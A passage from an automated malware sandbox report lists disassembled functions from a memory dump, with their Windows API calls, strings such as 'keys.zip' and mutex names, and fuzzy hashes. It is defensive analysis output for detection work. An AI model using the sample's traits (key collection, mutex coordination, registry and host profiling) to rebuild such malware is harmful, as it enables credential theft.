                                                                                                                                                                                                                      • API ID: free$malloc
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2190258309-0
                                                                                                                                                                                                                      • Opcode ID: 9b344b4dc9fc94af023e8f7a7a969a3fe97ca6197cf2e5e8b805eda39f7e2ded
                                                                                                                                                                                                                      • Instruction ID: c9d238be48fc71498667cf19bf848bf9422b6e988190a21377aaeffdf3737f66
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9b344b4dc9fc94af023e8f7a7a969a3fe97ca6197cf2e5e8b805eda39f7e2ded
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 604165B5E42611CBC731DF58E880A5AB7E4BF88B44B16897AE88D47704D731A960CFD3
                                                                                                                                                                                                                      Function 02701BD0 Relevance: 17.9, APIs: 14, Instructions: 355COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: a761af1b0fa32f44d683ed3c982d9618360fe08c6f0e3364069704efd6421074
                                                                                                                                                                                                                      • Instruction ID: b6282857934f561a2fa753574a8628a699cd6e3288e6746ec0397f1229da8cd8
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a761af1b0fa32f44d683ed3c982d9618360fe08c6f0e3364069704efd6421074
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DDC1B231A01616DFCB15CF68C8E4AAF77E5FF4A344B548294EC59AB380D771EA09CB90
                                                                                                                                                                                                                      Function 02715BB0 Relevance: 17.6, APIs: 14, Instructions: 147COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,000008F4,00000000,00000000,00000000), ref: 02715C71
                                                                                                                                                                                                                      • memset.MSVCRT(000008F4,00000000,000000F4,00000000,00000000,000008F4,00000000,00000000,00000000), ref: 02715C85
                                                                                                                                                                                                                      • memset.MSVCRT(000009E8,00000000,00000480,000008F4,00000000,000000F4,00000000,00000000,000008F4,00000000,00000000,00000000), ref: 02715C97
                                                                                                                                                                                                                      • memset.MSVCRT(00000E68,00000000,00000078,000009E8,00000000,00000480,000008F4,00000000,000000F4,00000000,00000000,000008F4,00000000,00000000,00000000), ref: 02715CA6
                                                                                                                                                                                                                      • memset.MSVCRT(00000EE0,00000000,0000009C,00000E68,00000000,00000078,000009E8,00000000,00000480,000008F4,00000000,000000F4,00000000,00000000,000008F4,00000000), ref: 02715CB8
                                                                                                                                                                                                                      • memset.MSVCRT(00000FF0,00000000,000008F4,00000EE0,00000000,0000009C,00000E68,00000000,00000078,000009E8,00000000,00000480,000008F4,00000000,000000F4,00000000), ref: 02715CFC
                                                                                                                                                                                                                      • memset.MSVCRT(000018EC,00000000,0000023D), ref: 02715D1D
                                                                                                                                                                                                                      • memset.MSVCRT(00001B29,00000000,00000100,000018EC,00000000,0000023D), ref: 02715D2F
                                                                                                                                                                                                                      • memset.MSVCRT(00001C29,00000000,00000200,00001B29,00000000,00000100,000018EC,00000000,0000023D), ref: 02715D41
                                                                                                                                                                                                                      • memset.MSVCRT(00001E2C,00000000,00000074,00001C29,00000000,00000200,00001B29,00000000,00000100,000018EC,00000000,0000023D), ref: 02715D50
                                                                                                                                                                                                                      • memset.MSVCRT(00001EA0,00000000,00000078,00001E2C,00000000,00000074,00001C29,00000000,00000200,00001B29,00000000,00000100,000018EC,00000000,0000023D), ref: 02715D5F
                                                                                                                                                                                                                      • memset.MSVCRT(00001F18,00000000,00008000,00001EA0,00000000,00000078,00001E2C,00000000,00000074,00001C29,00000000,00000200,00001B29,00000000,00000100,000018EC), ref: 02715D71
                                                                                                                                                                                                                      • memset.MSVCRT(00009F18,00000000,00010000), ref: 02715D86
                                                                                                                                                                                                                      • memset.MSVCRT(00019F18,00000000,00001000,00009F18,00000000,00010000), ref: 02715D98
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: memset
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2221118986-0
                                                                                                                                                                                                                      • Opcode ID: 4522200f51db70f4f9b1709617416ce9ff0174a07e58388ada1b6e021609cb72
                                                                                                                                                                                                                      • Instruction ID: a1ea62045212a2f31880fd4137c6ff1102d3359d914c696e6b257ded74cdb012
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4522200f51db70f4f9b1709617416ce9ff0174a07e58388ada1b6e021609cb72
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6F515CB1D51215AACB15DFA5C884AEA7BB9BF08300F04417AEE0CAF286D7B45605CFE1
                                                                                                                                                                                                                      Function 02713B40 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 138COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(0274D098), ref: 02713B70
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 02713BB1
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 02713BBB
                                                                                                                                                                                                                      • #680.SHELL32 ref: 02713BC3
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 02713BD4
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 02713BDB
                                                                                                                                                                                                                      • SetCurrentDirectoryA.KERNEL32(?), ref: 02713BE8
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(0274D098,?,02713D9C), ref: 02713C57
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Path$BackslashDirectoryErrorLast$#680CreateCurrentFolderMakeSystem
                                                                                                                                                                                                                      • String ID: keys.zip$path1.txt
                                                                                                                                                                                                                      • API String ID: 1796575131-1274251082
                                                                                                                                                                                                                      • Opcode ID: 9b0d1e6bb01fc705c2714514a32e09493bae420bebadb6db72b3f7d2e8b00ca9
                                                                                                                                                                                                                      • Instruction ID: e54d0ec28cefd0f09dcd9c9835b72a83ab38089aeb280618cf49a83bb2836528
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9b0d1e6bb01fc705c2714514a32e09493bae420bebadb6db72b3f7d2e8b00ca9
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DA41E6716046558BCB258F3898A8AEB7BE5EF5A301F0485D8E9C9D7340EB71D988CB90
                                                                                                                                                                                                                      Function 02713746 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 137synchronizationsleepfileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(0274CF94), ref: 0271376D
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(0274CF94,?,?), ref: 02713807
                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(?,00000000), ref: 02713876
                                                                                                                                                                                                                      • DeleteFileA.KERNEL32(?), ref: 02713883
                                                                                                                                                                                                                      • CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF777FF-8989-4fe1-977D-95CD777C0214},?,?), ref: 027138B7
                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8,Local\{EAF777FF-8989-4fe1-977D-95CD777C0214},00000006), ref: 027138D4
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 027138DB
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: BackslashFileMutexPath$AttributesCreateDeleteReleaseSleep
                                                                                                                                                                                                                      • String ID: Local\{EAF777FF-8989-4fe1-977D-95CD777C0214}$keys.zip$keys_path.txt
                                                                                                                                                                                                                      • API String ID: 1512046866-380397883
                                                                                                                                                                                                                      • Opcode ID: a721aeeb34631e4e63288779285f37d0ea7e20523021a698a8cb4636fec8a49c
                                                                                                                                                                                                                      • Instruction ID: 56fa89a45c432620c19f61911eeed287bd2e3beab87fd249c7d2a806b4681ff9
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a721aeeb34631e4e63288779285f37d0ea7e20523021a698a8cb4636fec8a49c
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0B413B3194420A4FCB26CB2898A9BEB7BF1FF56300F1486D8D989D7250DF719945CBC0
                                                                                                                                                                                                                      Function 02701650 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 123registrymemoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103,74DEF550,74DF1620), ref: 02701683
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,000000FF,?,00000000,00000103,74DEF550,74DF1620), ref: 0270169B
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(00000001,software\microsoft,00000000,00000101,80000002,?,?,?,?,74DEF550,74DF1620), ref: 027016BC
                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(80000002,D900DB68a,00000000,00000001,?,00000104,?,?,?,?,74DEF550,74DF1620), ref: 027016E3
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,?,00000000,?,?,?,?,?,?,74DEF550,74DF1620), ref: 0270176D
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,?,?,?,74DEF550,74DF1620), ref: 02701774
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,?,?,?,?,?,74DEF550,74DF1620), ref: 02701783
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(80000002,?,?,?,?,74DEF550,74DF1620), ref: 027017B3
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: memset$Heap$AllocCloseOpenProcessQueryValue
                                                                                                                                                                                                                      • String ID: D900DB68a$software\microsoft
                                                                                                                                                                                                                      • API String ID: 4158279268-1565509310
                                                                                                                                                                                                                      • Opcode ID: 1c1d3b1941bc401dd06ea50791fc6f0dff28ebfb738a5936336924dbc3a4e50d
                                                                                                                                                                                                                      • Instruction ID: 379939dcf61ab9818ee1b2a38031e30f1ee65f3dee988db483b21e405e52d383
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1c1d3b1941bc401dd06ea50791fc6f0dff28ebfb738a5936336924dbc3a4e50d
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A2411671940159ABDB15DB748CD8EEE77FDEF98304F8045B8E549D3180D7B05E498BA0
                                                                                                                                                                                                                      Function 026F79E0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 91threadstringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetCurrentProcessId.KERNEL32 ref: 026F7A0F
                                                                                                                                                                                                                        • Part of subcall function 02714880: OpenProcess.KERNEL32(00000400,00000000,00000000,74DEF550,00000000,76EEC3F0), ref: 02714895
                                                                                                                                                                                                                        • Part of subcall function 02714880: OpenProcessToken.ADVAPI32(00000000,00000018,?,?,?,?,?,?,?,?,?,?,?,?,027058B3), ref: 027148AC
                                                                                                                                                                                                                        • Part of subcall function 02714880: GetTokenInformation.ADVAPI32(?,00000007(TokenIntegrityLevel),?,00000010,?), ref: 027148CA
                                                                                                                                                                                                                        • Part of subcall function 02714880: CharUpperA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,027058B3), ref: 027148E2
                                                                                                                                                                                                                        • Part of subcall function 02714880: GetHandleInformation.KERNEL32(?,00000000), ref: 0271493B
                                                                                                                                                                                                                        • Part of subcall function 02714880: CloseHandle.KERNEL32(?), ref: 0271494C
                                                                                                                                                                                                                        • Part of subcall function 02714880: GetHandleInformation.KERNEL32(00000000,?), ref: 0271495E
                                                                                                                                                                                                                        • Part of subcall function 02714880: CloseHandle.KERNEL32(00000000), ref: 0271496F
                                                                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 026F7A1E
                                                                                                                                                                                                                      • GetThreadDesktop.USER32(00000000,00000002,?,00000100,?), ref: 026F7A37
                                                                                                                                                                                                                      • GetUserObjectInformationA.USER32(00000000), ref: 026F7A3E
                                                                                                                                                                                                                      • lstrcmpiA.KERNEL32(?,d900de8aa), ref: 026F7A54
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103), ref: 026F7A99
                                                                                                                                                                                                                      • _snprintf.MSVCRT(00000000,00000104,Global\HighMemoryEvent_%08x,?,?,00000000,00000103), ref: 026F7AB3
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,?), ref: 026F7AC6
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: HandleInformation$OpenProcess$CloseCurrentThreadToken$CharDesktopMutexObjectUpperUser_snprintflstrcmpimemset
                                                                                                                                                                                                                      • String ID: Global\HighMemoryEvent_%08x$d900de8aa
                                                                                                                                                                                                                      • API String ID: 3631320848-2240237365
                                                                                                                                                                                                                      • Opcode ID: 5c49d62002243bc9c420de6ae6f73f2c44bdc4326df68be9fe463a93fe8460ff
                                                                                                                                                                                                                      • Instruction ID: e6bdd74b1fab0f7ce08e60750ca7c7aeb8785e3417c9730a2dc67417b0b0933d
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5c49d62002243bc9c420de6ae6f73f2c44bdc4326df68be9fe463a93fe8460ff
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9231A0B2940319ABDB21CE55DC85BABB7ACBF48B11F454445FF4597280E7B0AA50CBA0
                                                                                                                                                                                                                      Function 027150F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 87memorystringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,000000DE,00000000,00000000), ref: 02715124
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000110,?,00000000,00000000), ref: 02715133
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,00000000,00000000), ref: 0271513A
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000110,?,00000000,00000000), ref: 02715152
                                                                                                                                                                                                                      • GetComputerNameA.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000), ref: 02715169
                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,?,?,?,00000000,00000000), ref: 0271516F
                                                                                                                                                                                                                        • Part of subcall function 027041E0: GetProcessHeap.KERNEL32(00000008,02715097,00000000,75A934D0,?,?,02715084,00000104,?,?,?,?,00000000,00000000), ref: 027041FE
                                                                                                                                                                                                                        • Part of subcall function 027041E0: HeapAlloc.KERNEL32(00000000,?,?,02715084,00000104,?,?,?,?,00000000,00000000), ref: 02704205
                                                                                                                                                                                                                        • Part of subcall function 027041E0: memset.MSVCRT(00000000,00000000,02715097,?,?,02715084,00000104,?,?,?,?,00000000,00000000), ref: 02704215
                                                                                                                                                                                                                      • GetComputerNameA.KERNEL32(00000000,00000104,00000104,?,?,?,?,00000000,00000000), ref: 02715190
                                                                                                                                                                                                                      • StrChrIA.SHLWAPI(?,?,?,00000000,?,?,?,?,00000000,00000000), ref: 027151B7
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(?,00000001,00000104,?,?,00000000,?,?,?,?,00000000,00000000), ref: 027151CB
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      • ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_, xrefs: 02715100
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$memset$AllocComputerNameProcess$ErrorLastlstrcpyn
                                                                                                                                                                                                                      • String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_
                                                                                                                                                                                                                      • API String ID: 734199406-1705633369
                                                                                                                                                                                                                      • Opcode ID: 9f3a4ea5efacfa1ba5e4a970be46cdc2fd6a807bf9c0cb36e2ccf1bf60001d33
                                                                                                                                                                                                                      • Instruction ID: 94b186c7d832083f07373587ad81915a8789d614c04adf0845a74b873b886824
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9f3a4ea5efacfa1ba5e4a970be46cdc2fd6a807bf9c0cb36e2ccf1bf60001d33
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 44216A71D00209A7DB17D6688C48FBFB7BDAFC8705F604858FA45A7180EBB0DA04DBA0
                                                                                                                                                                                                                      Function 02715390 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 68memorylibraryloaderCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,d900db28a,76EEC3F0,?,?,02702600,00000000,00000001), ref: 026F74C6
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: GetFileSizeEx.KERNEL32(00000000,?,?,?,02702600,00000000,00000001,?,74DEF550,00000000), ref: 026F74E4
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: GetProcessHeap.KERNEL32(00000008,?,?,?,02702600,00000000,00000001,?,74DEF550,00000000), ref: 026F750D
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: HeapAlloc.KERNEL32(00000000,?,?,02702600,00000000,00000001,?,74DEF550,00000000), ref: 026F7514
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: memset.MSVCRT(00000000,00000000,00000001,?,?,02702600,00000000,00000001,?,74DEF550,00000000), ref: 026F7527
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F7553
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F7563
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 026F7572
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F7585
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F7594
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: HeapValidate.KERNEL32(00000000), ref: 026F759B
                                                                                                                                                                                                                      • RtlImageNtHeader.NTDLL ref: 027153BE
                                                                                                                                                                                                                      • GetTickCount.KERNEL32(?,?,027056AF), ref: 027153D2
                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(ntdll.dll,?,?,027056AF), ref: 027153E3
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,RtlUniform,?,?,027056AF), ref: 027153F3
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,?,?,027056AF), ref: 02715430
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,?,027056AF), ref: 02715433
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,?,?,027056AF), ref: 02715440
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,?,?,027056AF), ref: 02715443
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$File$Process$Validate$AddressAllocCountCreateFreeHandleHeaderImageLockModulePointerProcReadSizeTickUnlockmemset
                                                                                                                                                                                                                      • String ID: RtlUniform$ntdll.dll
                                                                                                                                                                                                                      • API String ID: 1595973673-3277137149
                                                                                                                                                                                                                      • Opcode ID: 71bbafacdf555864a3fb85b74e10e99bf1402e8bed8e3a105d56bd15ef1ec619
                                                                                                                                                                                                                      • Instruction ID: 89343c1b9493343999ee1cbc339829bb280db6973a7248f0cd5c7aea421dbba7
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 71bbafacdf555864a3fb85b74e10e99bf1402e8bed8e3a105d56bd15ef1ec619
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3211C471A81601BBE714DB7AAC09F9F7BADFF88716F84C918F905E2140DB71C510CAA0
                                                                                                                                                                                                                      Function 026F3770 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 59libraryloaderCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetTickCount.KERNEL32(74DF2F70,00000000,?,02706E15), ref: 026F3781
                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(ntdll.dll,?,02706E15), ref: 026F3794
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,RtlUniform,?,02706E15), ref: 026F37A0
                                                                                                                                                                                                                      • GetTickCount.KERNEL32(?,02706E15), ref: 026F37CD
                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(ntdll.dll,?,02706E15), ref: 026F37DA
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,RtlUniform,?,02706E15), ref: 026F37E6
                                                                                                                                                                                                                      • _snprintf.MSVCRT(02749C60,00000104,%x%x,05317415,00000000,?,02706E15), ref: 026F3819
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: AddressCountHandleModuleProcTick$_snprintf
                                                                                                                                                                                                                      • String ID: %x%x$RtlUniform$ntdll.dll
                                                                                                                                                                                                                      • API String ID: 3150073801-4037400931
                                                                                                                                                                                                                      • Opcode ID: 4e7f39353d7a0207c68a3650f30dce79469c126b4c93931f9221864bff9354dd
                                                                                                                                                                                                                      • Instruction ID: 37dfdb972152cbfdf36950a69b0f0e26bbf0c9f359e16a7562a570197dcdee66
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4e7f39353d7a0207c68a3650f30dce79469c126b4c93931f9221864bff9354dd
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8801DBB1BC07016FBB049776AC86E6B3759BF457153448D35E913D2281DBB089208664
                                                                                                                                                                                                                      Function 027143F0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 56sleepsynchronizationCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}), ref: 0271440C
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000064), ref: 02714422
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}), ref: 02714430
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 02714439
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02714451
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02714463
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(0274D19C), ref: 0271446E
                                                                                                                                                                                                                      • Sleep.KERNEL32(00009C40,0274D19C,VEFK), ref: 02714488
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
